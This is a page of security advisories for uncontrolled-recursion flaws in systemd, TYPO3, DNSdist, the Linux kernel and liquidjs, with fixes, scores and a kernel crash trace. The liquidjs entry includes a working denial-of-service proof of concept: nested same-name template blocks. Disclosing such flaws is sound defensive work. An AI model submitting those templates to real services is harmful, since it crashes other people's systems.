      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAEHE2S2QLO4AO4MEEYL75NB7SAH5PSL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NZUVSQHN2ESHMJXNQ2Z7T2EELBB5HJXG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DAEHE2S2QLO4AO4MEEYL75NB7SAH5PSL"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00029.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4%40%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b%40%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://curl.se/docs/CVE-2020-8285.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2021/Apr/51"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4P54-Q58Q-8MPC

Vulnerability from github – Published: 2022-08-24 00:00 – Updated: 2022-08-28 00:00
VLAI
Details

A flaw was found in systemd. An uncontrolled recursion in systemd-tmpfiles may lead to a denial of service at boot time when too many nested directories are created in /tmp.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-3997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-23T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in systemd. An uncontrolled recursion in systemd-tmpfiles may lead to a denial of service at boot time when too many nested directories are created in /tmp.",
  "id": "GHSA-4p54-q58q-8mpc",
  "modified": "2022-08-28T00:00:32Z",
  "published": "2022-08-24T00:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3997"
    },
    {
      "type": "WEB",
      "url": "https://github.com/systemd/systemd/commit/5b1cf7a9be37e20133c0208005274ce4a5b5c6a1"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2021-3997"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2024639"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-15"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2022/01/10/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4P9G-QGX9-397P

Vulnerability from github – Published: 2021-03-23 01:54 – Updated: 2024-02-07 18:50
VLAI
Summary
Denial of Service in Page Error Handling
Details

Meta

  • CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C (5.5)
  • CWE-405, CWE-674
  • Status: DRAFT

Problem

Requesting invalid or non-existing resources via HTTP triggers the page error handler which again could retrieve content to be shown as error message from another page. This leads to a scenario in which the application is calling itself recursively - amplifying the impact of the initial attack until the limits of the web server are exceeded.

Solution

Update to TYPO3 versions 9.5.25, 10.4.14, 11.1.1 that fix the problem described.

Credits

Thanks to Paul Keller, Mathias Bolt Lesniak and Kay Strobach who reported this issue and to TYPO3 framework merger Frank Nägler and to TYPO3 security team member Torben Hansen who fixed the issue.

References

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.4.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.5.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.4.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.5.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-23T01:42:10Z",
    "nvd_published_at": "2021-03-23T02:15:00Z",
    "severity": "MODERATE"
  },
  "details": "\u003e ### Meta\n\u003e * CVSS:  `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C` (5.5)\n\u003e * CWE-405, CWE-674\n\u003e * Status: **DRAFT**\n\n### Problem\nRequesting invalid or non-existing resources via HTTP triggers the page error handler which again could retrieve content  to be shown as error message from another page. This leads to a scenario in which the application is calling itself recursively - amplifying the impact of the initial attack until the limits of the web server are exceeded.\n\n### Solution\nUpdate to TYPO3 versions 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to Paul Keller, Mathias Bolt Lesniak and Kay Strobach who reported this issue and to TYPO3 framework merger Frank N\u00e4gler and to TYPO3 security team member Torben Hansen who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-005](https://typo3.org/security/advisory/typo3-core-sa-2021-005)",
  "id": "GHSA-4p9g-qgx9-397p",
  "modified": "2024-02-07T18:50:34Z",
  "published": "2021-03-23T01:54:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/TYPO3.CMS/security/advisories/GHSA-4p9g-qgx9-397p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21359"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms-core/CVE-2021-21359.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms/CVE-2021-21359.yaml"
    },
    {
      "type": "WEB",
      "url": "https://packagist.org/packages/typo3/cms-core"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2021-005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in Page Error Handling"
}

GHSA-4Q3H-V92P-GCHJ

Vulnerability from github – Published: 2025-05-20 12:30 – Updated: 2025-05-20 12:30
VLAI
Details

In some circumstances, when DNSdist is configured to allow an unlimited number of queries on a single, incoming TCP connection from a client, an attacker can cause a denial of service by crafting a TCP exchange that triggers an exhaustion of the stack and a crash of DNSdist, causing a denial of service.

The remedy is: upgrade to the patched 1.9.10 version.

A workaround is to restrict the maximum number of queries on incoming TCP connections to a safe value, like 50, via the setMaxTCPQueriesPerConnection setting.

We would like to thank Renaud Allard for bringing this issue to our attention.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-30193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-20T12:15:19Z",
    "severity": "HIGH"
  },
  "details": "In some circumstances, when DNSdist is configured to allow an unlimited number of queries on a single, incoming TCP connection from a client, an attacker can cause a denial of service by crafting a TCP exchange that triggers an exhaustion of the stack and a crash of DNSdist, causing a denial of service.\n\nThe remedy is: upgrade to the patched 1.9.10 version.\n\nA workaround is to restrict the maximum number of queries on incoming TCP connections to a safe value, like 50, via the setMaxTCPQueriesPerConnection setting.\n\nWe would like to thank Renaud Allard for bringing this issue to our attention.",
  "id": "GHSA-4q3h-v92p-gchj",
  "modified": "2025-05-20T12:30:23Z",
  "published": "2025-05-20T12:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30193"
    },
    {
      "type": "WEB",
      "url": "https://dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2025-03.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QP6-H6GX-PGM5

Vulnerability from github – Published: 2025-07-25 18:30 – Updated: 2025-12-23 00:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

atm: clip: Fix infinite recursive call of clip_push().

syzbot reported the splat below. [0]

This happens if we call ioctl(ATMARP_MKIP) more than once.

During the first call, clip_mkip() sets clip_push() to vcc->push(), and the second call copies it to clip_vcc->old_push().

Later, when the socket is close()d, vcc_destroy_socket() passes NULL skb to clip_push(), which calls clip_vcc->old_push(), triggering the infinite recursion.

Let's prevent the second ioctl(ATMARP_MKIP) by checking vcc->user_back, which is allocated by the first call as clip_vcc.

Note also that we use lock_sock() to prevent racy calls.

[0]: BUG: TASK stack guard page was hit at ffffc9000d66fff8 (stack is ffffc9000d670000..ffffc9000d678000) Oops: stack guard page: 0000 [#1] SMP KASAN NOPTI CPU: 0 UID: 0 PID: 5322 Comm: syz.0.0 Not tainted 6.16.0-rc4-syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 RIP: 0010:clip_push+0x5/0x720 net/atm/clip.c:191 Code: e0 8f aa 8c e8 1c ad 5b fa eb ae 66 2e 0f 1f 84 00 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 55 <41> 57 41 56 41 55 41 54 53 48 83 ec 20 48 89 f3 49 89 fd 48 bd 00 RSP: 0018:ffffc9000d670000 EFLAGS: 00010246 RAX: 1ffff1100235a4a5 RBX: ffff888011ad2508 RCX: ffff8880003c0000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff888037f01000 RBP: dffffc0000000000 R08: ffffffff8fa104f7 R09: 1ffffffff1f4209e R10: dffffc0000000000 R11: ffffffff8a99b300 R12: ffffffff8a99b300 R13: ffff888037f01000 R14: ffff888011ad2500 R15: ffff888037f01578 FS: 000055557ab6d500(0000) GS:ffff88808d250000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffc9000d66fff8 CR3: 0000000043172000 CR4: 0000000000352ef0 Call Trace: clip_push+0x6dc/0x720 net/atm/clip.c:200 clip_push+0x6dc/0x720 net/atm/clip.c:200 clip_push+0x6dc/0x720 net/atm/clip.c:200 ... clip_push+0x6dc/0x720 net/atm/clip.c:200 clip_push+0x6dc/0x720 net/atm/clip.c:200 clip_push+0x6dc/0x720 net/atm/clip.c:200 vcc_destroy_socket net/atm/common.c:183 [inline] vcc_release+0x157/0x460 net/atm/common.c:205 __sock_release net/socket.c:647 [inline] sock_close+0xc0/0x240 net/socket.c:1391 __fput+0x449/0xa70 fs/file_table.c:465 task_work_run+0x1d1/0x260 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xec/0x110 kernel/entry/common.c:114 exit_to_user_mode_prepare include/linux/entry-common.h:330 [inline] syscall_exit_to_user_mode_work include/linux/entry-common.h:414 [inline] syscall_exit_to_user_mode include/linux/entry-common.h:449 [inline] do_syscall_64+0x2bd/0x3b0 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7ff31c98e929 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fffb5aa1f78 EFLAGS: 00000246 ORIG_RAX: 00000000000001b4 RAX: 0000000000000000 RBX: 0000000000012747 RCX: 00007ff31c98e929 RDX: 0000000000000000 RSI: 000000000000001e RDI: 0000000000000003 RBP: 00007ff31cbb7ba0 R08: 0000000000000001 R09: 0000000db5aa226f R10: 00007ff31c7ff030 R11: 0000000000000246 R12: 00007ff31cbb608c R13: 00007ff31cbb6080 R14: ffffffffffffffff R15: 00007fffb5aa2090 Modules linked in:

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-38459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-25T16:15:31Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\natm: clip: Fix infinite recursive call of clip_push().\n\nsyzbot reported the splat below. [0]\n\nThis happens if we call ioctl(ATMARP_MKIP) more than once.\n\nDuring the first call, clip_mkip() sets clip_push() to vcc-\u003epush(),\nand the second call copies it to clip_vcc-\u003eold_push().\n\nLater, when the socket is close()d, vcc_destroy_socket() passes\nNULL skb to clip_push(), which calls clip_vcc-\u003eold_push(),\ntriggering the infinite recursion.\n\nLet\u0027s prevent the second ioctl(ATMARP_MKIP) by checking\nvcc-\u003euser_back, which is allocated by the first call as clip_vcc.\n\nNote also that we use lock_sock() to prevent racy calls.\n\n[0]:\nBUG: TASK stack guard page was hit at ffffc9000d66fff8 (stack is ffffc9000d670000..ffffc9000d678000)\nOops: stack guard page: 0000 [#1] SMP KASAN NOPTI\nCPU: 0 UID: 0 PID: 5322 Comm: syz.0.0 Not tainted 6.16.0-rc4-syzkaller #0 PREEMPT(full)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\nRIP: 0010:clip_push+0x5/0x720 net/atm/clip.c:191\nCode: e0 8f aa 8c e8 1c ad 5b fa eb ae 66 2e 0f 1f 84 00 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 55 \u003c41\u003e 57 41 56 41 55 41 54 53 48 83 ec 20 48 89 f3 49 89 fd 48 bd 00\nRSP: 0018:ffffc9000d670000 EFLAGS: 00010246\nRAX: 1ffff1100235a4a5 RBX: ffff888011ad2508 RCX: ffff8880003c0000\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff888037f01000\nRBP: dffffc0000000000 R08: ffffffff8fa104f7 R09: 1ffffffff1f4209e\nR10: dffffc0000000000 R11: ffffffff8a99b300 R12: ffffffff8a99b300\nR13: ffff888037f01000 R14: ffff888011ad2500 R15: ffff888037f01578\nFS:  000055557ab6d500(0000) GS:ffff88808d250000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: ffffc9000d66fff8 CR3: 0000000043172000 CR4: 0000000000352ef0\nCall Trace:\n \u003cTASK\u003e\n clip_push+0x6dc/0x720 net/atm/clip.c:200\n clip_push+0x6dc/0x720 net/atm/clip.c:200\n clip_push+0x6dc/0x720 net/atm/clip.c:200\n...\n clip_push+0x6dc/0x720 net/atm/clip.c:200\n clip_push+0x6dc/0x720 net/atm/clip.c:200\n clip_push+0x6dc/0x720 net/atm/clip.c:200\n vcc_destroy_socket net/atm/common.c:183 [inline]\n vcc_release+0x157/0x460 net/atm/common.c:205\n __sock_release net/socket.c:647 [inline]\n sock_close+0xc0/0x240 net/socket.c:1391\n __fput+0x449/0xa70 fs/file_table.c:465\n task_work_run+0x1d1/0x260 kernel/task_work.c:227\n resume_user_mode_work include/linux/resume_user_mode.h:50 [inline]\n exit_to_user_mode_loop+0xec/0x110 kernel/entry/common.c:114\n exit_to_user_mode_prepare include/linux/entry-common.h:330 [inline]\n syscall_exit_to_user_mode_work include/linux/entry-common.h:414 [inline]\n syscall_exit_to_user_mode include/linux/entry-common.h:449 [inline]\n do_syscall_64+0x2bd/0x3b0 arch/x86/entry/syscall_64.c:100\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7ff31c98e929\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fffb5aa1f78 EFLAGS: 00000246 ORIG_RAX: 00000000000001b4\nRAX: 0000000000000000 RBX: 0000000000012747 RCX: 00007ff31c98e929\nRDX: 0000000000000000 RSI: 000000000000001e RDI: 0000000000000003\nRBP: 00007ff31cbb7ba0 R08: 0000000000000001 R09: 0000000db5aa226f\nR10: 00007ff31c7ff030 R11: 0000000000000246 R12: 00007ff31cbb608c\nR13: 00007ff31cbb6080 R14: ffffffffffffffff R15: 00007fffb5aa2090\n \u003c/TASK\u003e\nModules linked in:",
  "id": "GHSA-4qp6-h6gx-pgm5",
  "modified": "2025-12-23T00:30:30Z",
  "published": "2025-07-25T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38459"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/024876b247a882972095b22087734dcd23396a4e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/125166347d5676466d368aadc0bbc31ee7714352"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1579a2777cb914a249de22c789ba4d41b154509f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3f61b997fe014bbfcc208a9fcbd363a1fe7e3a31"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5641019dfbaee5e85fe093b590f0451c9dd4d6f8"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c489f3283dbfc0f3c00c312149cae90d27552c45"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/df0312d8859763aa15b8b56ac151a1ea4a4e5b88"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f493f31a63847624fd3199ac836a8bd8828e50e2"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00008.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4RC3-7J7W-M548

Vulnerability from github – Published: 2026-04-24 15:34 – Updated: 2026-05-13 13:38
VLAI
Summary
liquidjs has a Denial of Service via circular block reference in layout
Details

Summary

A circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack.

Details

In src/tags/block.ts, during OUTPUT mode, each block looks up its render function from ctx.getRegister('blocks')[this.block]. When a block with name a is nested inside another block also named a in a child template, the inner block finds the outer block's render function and calls it. The outer block's templates contain the inner block again, creating infinite recursion with no termination condition.

Relevant code (src/tags/block.ts, getBlockRender method):

private getBlockRender (ctx: Context) {
  const { liquid, templates } = this
  const renderChild = ctx.getRegister('blocks')[this.block]
  const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) {
    ctx.push({ block: superBlock })
    yield liquid.renderer.renderTemplates(templates, ctx, emitter)
    ctx.pop()
  }
  return renderChild
    ? (superBlock: BlockDrop, emitter: Emitter) => renderChild(
        new BlockDrop(
          (emitter: Emitter) => renderCurrent(superBlock, emitter)
        ),
        emitter)
    : renderCurrent
}

When renderChild exists (same-name block found), it calls renderChild which re-renders templates containing the nested block, which again finds renderChild, and so on — infinite loop.

PoC

1. Create a layout file (layout.html):

<header>{% block a %}default-a{% endblock %}</header>
<main>{% block b %}default-b{% endblock %}</main>
<footer>{% block c %}default-c{% endblock %}</footer>

2. Create a template that uses the layout:

{% layout "layout" %}
{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}
{% block b %}content-b{% endblock %}
{% block c %}content-c{% endblock %}

3. Render:

const { Liquid } = require('liquidjs')
const liquid = new Liquid({ root: './', extname: '.html' })
liquid.renderFile('template').then(console.log)
// Result: process hangs, memory grows to ~4GB, then crashes with OOM

The anonymous block variant also triggers the same issue:

{% layout "parent" %}
{%block%}A{%block%}B{%endblock%}{%endblock%}

Impact

Denial of Service (DoS). Any application that accepts user-provided or user-influenced Liquid templates — such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input — can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.25.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T15:34:00Z",
    "nvd_published_at": "2026-05-09T04:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA circular block reference in `{% layout %}` / `{% block %}` causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with `FATAL ERROR: JavaScript heap out of memory`. This allows any user who can submit a Liquid template to perform a Denial of Service attack.\n\n### Details\n\nIn `src/tags/block.ts`, during OUTPUT mode, each block looks up its render function from `ctx.getRegister(\u0027blocks\u0027)[this.block]`. When a block with name `a` is nested inside another block also named `a` in a child template, the inner block finds the outer block\u0027s render function and calls it. The outer block\u0027s templates contain the inner block again, creating infinite recursion with no termination condition.\n\nRelevant code (`src/tags/block.ts`, `getBlockRender` method):\n\n```typescript\nprivate getBlockRender (ctx: Context) {\n  const { liquid, templates } = this\n  const renderChild = ctx.getRegister(\u0027blocks\u0027)[this.block]\n  const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) {\n    ctx.push({ block: superBlock })\n    yield liquid.renderer.renderTemplates(templates, ctx, emitter)\n    ctx.pop()\n  }\n  return renderChild\n    ? (superBlock: BlockDrop, emitter: Emitter) =\u003e renderChild(\n        new BlockDrop(\n          (emitter: Emitter) =\u003e renderCurrent(superBlock, emitter)\n        ),\n        emitter)\n    : renderCurrent\n}\n```\n\nWhen `renderChild` exists (same-name block found), it calls `renderChild` which re-renders templates containing the nested block, which again finds `renderChild`, and so on \u2014 infinite loop.\n\n### PoC\n\n**1. Create a layout file** (`layout.html`):\n\n```liquid\n\u003cheader\u003e{% block a %}default-a{% endblock %}\u003c/header\u003e\n\u003cmain\u003e{% block b %}default-b{% endblock %}\u003c/main\u003e\n\u003cfooter\u003e{% block c %}default-c{% endblock %}\u003c/footer\u003e\n```\n\n**2. Create a template that uses the layout:**\n\n```liquid\n{% layout \"layout\" %}\n{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}\n{% block b %}content-b{% endblock %}\n{% block c %}content-c{% endblock %}\n```\n\n**3. Render:**\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027)\nconst liquid = new Liquid({ root: \u0027./\u0027, extname: \u0027.html\u0027 })\nliquid.renderFile(\u0027template\u0027).then(console.log)\n// Result: process hangs, memory grows to ~4GB, then crashes with OOM\n```\n\nThe anonymous block variant also triggers the same issue:\n\n```liquid\n{% layout \"parent\" %}\n{%block%}A{%block%}B{%endblock%}{%endblock%}\n```\n\n### Impact\n\n**Denial of Service (DoS).** Any application that accepts user-provided or user-influenced Liquid templates \u2014 such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input \u2014 can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.",
  "id": "GHSA-4rc3-7j7w-m548",
  "modified": "2026-05-13T13:38:38Z",
  "published": "2026-04-24T15:34:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-4rc3-7j7w-m548"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41311"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/commit/e2311dfd6e82f73509308aa8a3a1fafc92e226f0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/releases/tag/v10.25.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "liquidjs has a Denial of Service via circular block reference in layout"
}
Mitigation
Implementation

Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.

Mitigation
Implementation

Increase the stack size.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

← Back to the CWE list